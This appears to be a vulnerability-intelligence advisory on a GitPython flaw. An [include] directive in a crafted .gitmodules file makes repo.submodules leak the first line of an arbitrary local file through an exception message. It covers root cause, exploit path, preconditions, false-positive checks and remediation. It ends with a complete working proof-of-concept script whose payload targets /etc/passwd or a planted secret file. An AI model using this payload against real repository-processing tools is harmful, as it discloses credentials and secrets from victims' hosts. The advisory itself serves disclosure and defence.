CVE-2026-78675: GitPython before 3.1.59 Local | Miggo
Vulnerability Intelligence
Miggo AI
Root Cause Analysis
The vulnerability stems from a 'parity gap' in GitPython's configuration parsing logic. While Repo.config_writer() was hardened to disable merge_includes for security reasons, Submodule._config_parser() was not. This oversight meant that when Submodule._config_parser() created a SubmoduleConfigParser instance to read the .gitmodules file (which is attacker-controlled), it inherited the default merge_includes=True from GitConfigParser.__init__.
This allowed an attacker to craft a .gitmodules file with an [include] directive pointing to an arbitrary local file (e.g., /etc/passwd). When a victim's application called Submodule.iter_items() (or similar submodule enumeration), GitConfigParser.read() would attempt to process this include. Since GitConfigParser.read() lacked proper path containment checks, it would open the specified arbitrary file. If this file was not a valid git-config INI format, GitConfigParser._read() would raise a configparser.MissingSectionHeaderError, embedding the first line of the target file's content directly into the exception message. Because Submodule.iter_items() did not catch this specific exception, the sensitive content was leaked to the calling application, enabling local file content disclosure.
Vulnerable functions
Submodule._config_parser
git/objects/submodule/base.py
In the vulnerable version, this function instantiated `SubmoduleConfigParser` without explicitly setting `merge_includes=False`. This allowed the parser to inherit the default `merge_includes=True` from `GitConfigParser`, enabling the processing of `[include]` directives in untrusted `.gitmodules` files. The patch explicitly adds `merge_includes=False` to this constructor call, indicating its prior vulnerability.
GitConfigParser.__init__
git/config.py
The `GitConfigParser` class, from which `SubmoduleConfigParser` inherits, defaults `merge_includes` to `True`. This default behavior, when not overridden by `Submodule._config_parser()`, is a foundational element of the vulnerability, as it permits the merging of included configuration files.
GitConfigParser.read
git/config.py
This function is responsible for resolving and reading included configuration files. In the vulnerable state (when `merge_includes` is `True`), it processes `[include]` directives without performing adequate path validation or containment checks, allowing for the inclusion of arbitrary local files outside the repository.
GitConfigParser._read
git/config.py
When `GitConfigParser._read()` attempts to parse an included file that does not conform to the git-config INI format (e.g., `/etc/passwd`), it raises a `configparser.MissingSectionHeaderError`. Crucially, the string representation of this exception embeds the verbatim content of the first line of the malformed file, leading to local file content disclosure.
Submodule.iter_items
git/objects/submodule/base.py
This function, which is commonly called to enumerate submodules, is part of the exploit path. It fails to catch `configparser.MissingSectionHeaderError`, allowing the exception (which contains the disclosed file content) to propagate to the caller, thus completing the information disclosure.
CVE-2026-78675: GitPython: Arbitrary local file content disclosure via [include] directive in untrusted .gitmodules (SubmoduleConfigParser never disables merge_includes)
the single most attacker-controlled config file in the entire codebase
GitConfigParser.read()'s include-path resolution (~line 662-680) performs no containment check: osp.isabs(include_path) short-circuits the path join entirely for an absolute path, and a relative path is joined with osp.join(osp.dirname(file_path), include_path) / osp.normpath()'d with no check that the result stays under the repository. ~ is expanded via osp.expanduser. The only gate before opening is os.access(include_path, os.R_OK) — a readability check, not a path restriction.
Once opened, GitConfigParser._read() parses the target file as git-config INI. If the first non-blank/non-comment line is not a [section] header — true of virtually any non-gitconfig file (source code, /etc/passwd, .env files, credential files, logs, JSON/YAML) — it raises configparser.MissingSectionHeaderError(fpname, lineno, line). Python's stdlib formats this exception's str() as "File contains no section headers.\nfile: %r, line: %d\n%r" % (fpname, lineno, line) — it embeds the verbatim content of that file's first line in the exception message. Submodule.iter_items() catches only (IOError, BadName), not configparser.Error, so this exception propagates straight out of the ordinary, read-only repo.submodules call.
Root cause
Parity gap between two config-parser construction sites for the exact same footgun: Repo.config_writer() was hardened against merge_includes in 2023 (41ecc6a4); Submodule._config_parser() — which parses .gitmodules, content that is always attacker-controlled the moment a repository is cloned from an untrusted source — was never given the same treatment. (The submodule write-mode config parser at git/objects/submodule/base.py for .git/modules/<name>/config — a different, locally-generated file — has correctly passed merge_includes=False since 2022, underscoring that the omission for .gitmodules reads looks like an oversight rather than a considered exception.)
Exploit path
Attacker crafts a repository whose .gitmodules contains a legitimate-looking [submodule ...] section plus:
[include]
path = /etc/passwd
(an absolute path bypasses any traversal reasoning entirely; a relative ../../../../etc/passwd-style path works too).
Victim performs the extremely common, entirely read-only operation of enumerating a cloned repo's submodules: list(repo.submodules) (or any for sm in repo.submodules) — no update(), init(), or checkout of any kind required.
SubmoduleConfigParser (inheriting merge_includes=True) follows the [include] directive, opens /etc/passwd, and GitConfigParser._read() raises MissingSectionHeaderError whose message embeds /etc/passwd's first line verbatim.
This exception surfaces wherever the host application observes exceptions from GitPython — CI logs, error pages, exception trackers, or any dependency-scanner/code-review-bot/hosting-platform tool built on repo.submodules — disclosing the targeted file's first line to the attacker (directly, or indirectly via any channel that echoes the error).
Impact
Non-blind local file content disclosure (first line) of any file readable by the victim process, triggered purely by attacker-controlled repository content and one routine, read-only GitPython call. Bounded to one line per triggering file (parsing aborts at the first MissingSectionHeaderError), but that line very often is the secret — .env files (DATABASE_URL=..., API_KEY=...), single-line credential/token files, /etc/passwd's root entry for host fingerprinting. The primitive additionally serves as a generic error-based file-existence oracle for arbitrary host paths. This is materially stronger than the already-fixed, explicitly blindGHSA-cwvm-v4w8-q58c ("Blind local file inclusion", CVSS 4.0, git/refs/symbolic.py ref-name resolution) — that advisory's own writeup states it cannot disclose content; this one does, verbatim, via a different module (git/config.py's include resolution).
Preconditions
Victim clones (or otherwise opens with GitPython) a repository whose .gitmodules is attacker-controlled — the default trust model for any tool that processes third-party repositories (dependency scanners, CI, code hosting/review bots, "audit this repo" utilities — exactly the class of application GitPython itself is built for).
Victim performs any operation that touches repo.submodules — one of the most ordinary GitPython operations, requiring no submodule update/init/checkout.
No authentication/role requirement inside GitPython itself.
git/objects/submodule/base.py:273 — SubmoduleConfigParser(fp_module, read_only=read_only) passes neither merge_includes nor repo=; git blame shows this call unchanged since the class was introduced, and git show 41ecc6a4 confirms that commit touched only git/repo/base.py's Repo.config_writer(), never this call site.
git/config.py_included_paths()/read() (~630-685) — absolute include paths bypass the join/normpath entirely (osp.isabs() short-circuit); no repository-boundary containment check exists anywhere in this path.
git/config.py_read() (~493-498) — raises cp.MissingSectionHeaderError(fpname, lineno, line) with the raw file line embedded, matching Python stdlib configparser's own __str__ behavior.
Submodule.iter_items() catches only (IOError, BadName) — configparser.Error (the base of MissingSectionHeaderError) is not swallowed.
PoC (gitpython-003-poc.py, embedded below) reproduces this end-to-end against this exact checkout via the public API only (Repo.clone_from + list(repo.submodules), default arguments, no monkeypatching), against both a throwaway secret file and /etc/passwd.
False-positive check (adversarial re-read)
Is this the same bug as GHSA-hmq2-w58f-27jc? No — that advisory is about the .gitmodules submodule name driving _module_abspath/os.makedirs() (creating a git repository/module directory outside the working tree, a write/RCE-adjacent primitive via a completely different function). This finding is about the [include] directive in the same file reaching a config-parser read primitive — a different mechanism, different function, different impact class (content disclosure, not directory creation).
Is this the same bug as GHSA-cwvm-v4w8-q58c (blind LFI)? No — that advisory is explicitly documented by its own reporter as content-free/blind (existence-only), and lives in git/refs/symbolic.py's ref-name resolution feeding Repo.commit/tree/index.diff — an entirely different module and code path. This finding discloses actual file content via git/config.py's include-directive resolution.
Is the impact overstated given only one line leaks? No — this is an accurate scoping caveat already reflected in the severity/impact discussion, not a reachability blocker: attacker has full control over which path is targeted (absolute paths work unconditionally), requires zero interaction beyond the single most common submodule operation, and the PoC demonstrates a real, working end-to-end disclosure through the standard clone_from + list(repo.submodules) workflow.
Could the exception simply be silently swallowed by GitPython before reaching the caller? No — confirmed by reading Submodule.iter_items()'s exception handling, which catches only IOError/BadName; configparser.MissingSectionHeaderError propagates uncaught.
Verdict: no concrete blocker found. CONFIRMED — reproduced independently against both a throwaway secret file and /etc/passwd.
Remediation
Pass merge_includes=False when constructing SubmoduleConfigParser in Submodule._config_parser() (git/objects/submodule/base.py), mirroring the existing fix in Repo.config_writer() (commit 41ecc6a4) — .gitmodules content is always attacker-controlled and should never be allowed to pull in include/includeIf directives. As defense in depth, GitConfigParser.read()'s include-path resolution should enforce that resolved include paths stay within the repository's own directory tree, and parsing-error messages (MissingSectionHeaderError/ParsingError) should avoid embedding raw file content when parsing a file the caller did not explicitly ask to open.
Confidence
High. Root cause confirmed by direct code reading across both git/config.py and git/objects/submodule/base.py, cross-checked against the fix commit that hardened the sibling code path but not this one; exploit chain reproduced independently, twice, against the current HEAD (a throwaway secret file and /etc/passwd).
Proof-of-Concept source (gitpython-003-poc.py)
#!/usr/bin/env python3
"""
GITPYTHON-003 PoC: `.gitmodules` -- fully attacker-controlled content shipped
inside a cloned repository -- can contain `[include] path = <any local path>`.
`Submodule._config_parser()` builds the parser used for `repo.submodules` (and
other submodule reads) via `SubmoduleConfigParser(fp_module, read_only=...)`
without passing `merge_includes=False`, so the class default `merge_includes=True`
is inherited. GitConfigParser then opens the target file; if it isn't valid
git-config syntax (true of virtually any non-gitconfig file), Python's
`configparser.MissingSectionHeaderError` embeds the file's first line verbatim
in its exception message, which propagates out of the ordinary, read-only
`repo.submodules` call -- a non-blind local file content disclosure primitive.
Run:
PYTHONPATH="<repo>:<repo>/gitdb:<repo>/smmap" python3 gitpython-003-poc.py <workdir> <target-file>
Benign: reads only the given <target-file> (defaults to a throwaway secret file
created under <workdir> if omitted) and never writes/exfiltrates it anywhere
except printing it locally to prove the primitive. No destructive action.
"""
import os
import subprocess
import sys
def main():
workdir = sys.argv[1] if len(sys.argv) > 1 else "/tmp/gitpython-003-poc"
target_file = sys.argv[2] if len(sys.argv) > 2 else os.path.join(workdir, "secret.txt")
attacker_repo = os.path.join(workdir, "attacker-repo")
dest = os.path.join(workdir, "dest")
for p in (attacker_repo, dest):
os.makedirs(p, exist_ok=True)
if not os.path.exists(target_file):
os.makedirs(os.path.dirname(target_file), exist_ok=True)
with open(target_file, "w") as f:
f.write("TOP-SECRET-DB-PASSWORD=hunter2-actual-secret-value\n")
subprocess.run(["git", "init", "-q", "-b", "main", attacker_repo], check=True)
subprocess.run(["git", "-C", attacker_repo, "config", "user.email", "a@example.com"], check=True)
subprocess.run(["git", "-C", attacker_repo, "config", "user.name", "Attacker"], check=True)
with open(os.path.join(attacker_repo, "file.txt"), "w") as f:
f.write("hello\n")
with open(os.path.join(attacker_repo, ".gitmodules"), "w") as f:
f.write(
'[submodule "totally-normal-dep"]\n'
"\tpath = vendor/dep\n"
"\turl = https://example.com/dep.git\n"
"[include]\n"
"\tpath = %s\n" % target_file
)
subprocess.run(["git", "-C", attacker_repo, "add", "file.txt", ".gitmodules"], check=True)
subprocess.run(["git", "-C", attacker_repo, "commit", "-q", "-m", "init"], check=True)
import git # gitpython under test
import configparser
repo = git.Repo.clone_from(attacker_repo, dest)
try:
subs = list(repo.submodules)
print("NOT VULNERABLE: no exception raised, submodules =", subs)
sys.exit(1)
except configparser.MissingSectionHeaderError as e:
msg = str(e)
print("VULNERABLE: MissingSectionHeaderError leaked file content via repo.submodules:")
print(msg)
with open(target_file) as f:
first_line = f.readline().rstrip("\n")
if first_line in msg:
print("Confirmed: target file's first line is present verbatim in the exception message.")
sys.exit(0)
else:
print("NOT VULNERABLE: exception message did not contain the expected content")
sys.exit(1)
if __name__ == "__main__":
main()